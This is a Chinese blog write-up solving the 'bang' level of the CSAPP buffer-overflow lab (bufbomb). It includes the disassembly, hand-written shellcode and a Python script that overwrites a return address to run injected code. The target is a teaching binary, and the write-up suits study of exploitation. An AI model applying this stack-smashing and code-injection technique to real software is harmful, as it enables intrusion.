上一个lab还有两关没有做完,但是懒的挨个截图写下来咯=.=,先看看第三个实验,听起来就很好玩 : )

找了半天才找到一个可用的32位的版本,原版会要求在他的shark machine上运行, The Hardware/Software Interface上又是64位的版本.最后在github上找到了一个可以用的32位版https://github.com/Mithrilwoodrat/CSAPP-Labs/tree/master/buflab.

前两关相当简单,网上一大堆答案,就不写咯,写下第三个,bang =.=

实验自带的sendstring是64位版本的,http://my.oschina.net/gallant/blog/96049?上有32位的源码,可以下载自己编译.但是事实上,自己写个Py脚本更方便,还可以加上注释=.=,我写了一个Py oneline版https://github.com/Mithrilwoodrat/hex2raw

bang的源码如下

int global_value = 0;
void bang(int val) {
  if (global_value == cookie) {
    printf("Bang!: You set global_value to 0x%x\n", global_value);
    validate(2);
  }
  else
    printf("Misfire: global_value = 0x%x\n", global_value);
 
  exit(0);
}

因为global_value是全局变量,无法简单覆盖,需要执行一段代码,设置global_value为cookie值.

我指定的用户名为123
./bufbomb -u 123
得到cookie值为0x70a28da5
反汇编bang的代码如下
08049022 <bang>:
 8049022:   55                      push   %ebp
 8049023:   89 e5                   mov    %esp,%ebp
 8049025:   83 ec 18                sub    $0x18,%esp
 8049028:   a1 ec c1 04 08          mov    0x804c1ec,%eax
 804902d:   3b 05 e4 c1 04 08       cmp    0x804c1e4,%eax
 8049033:   75 1e                   jne    8049053 <bang+0x31>
 8049035:   89 44 24 04             mov    %eax,0x4(%esp)
 8049039:   c7 04 24 90 a1 04 08    movl   $0x804a190,(%esp)
 8049040:   e8 9b f8 ff ff          call   80488e0 <printf@plt>
 8049045:   c7 04 24 02 00 00 00    movl   $0x2,(%esp)
 804904c:   e8 93 00 00 00          call   80490e4 <validate>
 8049051:   eb 10                   jmp    8049063 <bang+0x41>
 8049053:   89 44 24 04             mov    %eax,0x4(%esp)
 8049057:   c7 04 24 79 9f 04 08    movl   $0x8049f79,(%esp)
 804905e:   e8 7d f8 ff ff          call   80488e0 <printf@plt>
 8049063:   c7 04 24 00 00 00 00    movl   $0x0,(%esp)
 804906a:   e8 21 f9 ff ff          call   8048990 <exit@plt>
查看后发现0x804c1ec为global_value,0x804c1e4为cookie,同为全局变量,它们的位置很靠近.

所以编写汇编代码如下

mov $0x70a28da5, %ebx
mov $0x804c1ec, %eax
mov %ebx, (%eax)
ret
# cookie at 0x804c1e4     
# global_value at 0x804c1ec 
事实上我一开始是将 0x804c1e4的内容移动到0x804c1ec,完成后参考了上面那个blog中的代码才发现我当时脑子短路了.
gcc -c -m32 bang.s
然后 
objdump -S bang.o > bang.dump
生成的内容如下
bang.o:     file format elf32-i386


Disassembly of section .text:

00000000 <.text>:
   0:   bb a5 8d a2 70          mov    $0x70a28da5,%ebx
   5:   b8 ec c1 04 08          mov    $0x804c1ec,%eax
   a:   89 18                   mov    %ebx,(%eax)
   c:   c3                      ret    

现在剩下的就是确定buf的位置,然后像之前一样覆盖跳转的位置,只不过把返回地址改为buf开始处而已.

在 getbuf处下断点,然后x $ebp.将得到的值减去40就是buf的起始地址了,我的虚拟机中为0x556836c8

现在万事具备了,可以编写我们的shellcode了.exploit3.py如下

#cookie :0x70a28da5
#buf 0x556836c8
#bang #08049022

shellcode =  '\xbb\xa5\x8d\xa2\x70'+'\xb8\xec\xc1\x04\x08'+'\x89\x18'+'\xc3'
#mov    $0x70a28da5,%ebx
#mov    $0x804c1ec,%eax
#mov    %ebx,(%eax)
#ret
shellcode= shellcode + (40 - len(shellcode))*'a'
#print shellcode
shellcode = shellcode +'a'*4 + '\xc8\x36\x68\x55'+'\x22\x90\x04\x08'# ret buf and ret bang
print shellcode

是不是比直接写XXX.txt爽快多了呢.如果这样还嫌麻烦的话,可以把bang.dump中的16进制字符串复制到一个py字符串s中,使用

s = reduce(lambda x,y:x+y,[chr(int(i,16)) for i in s.split()])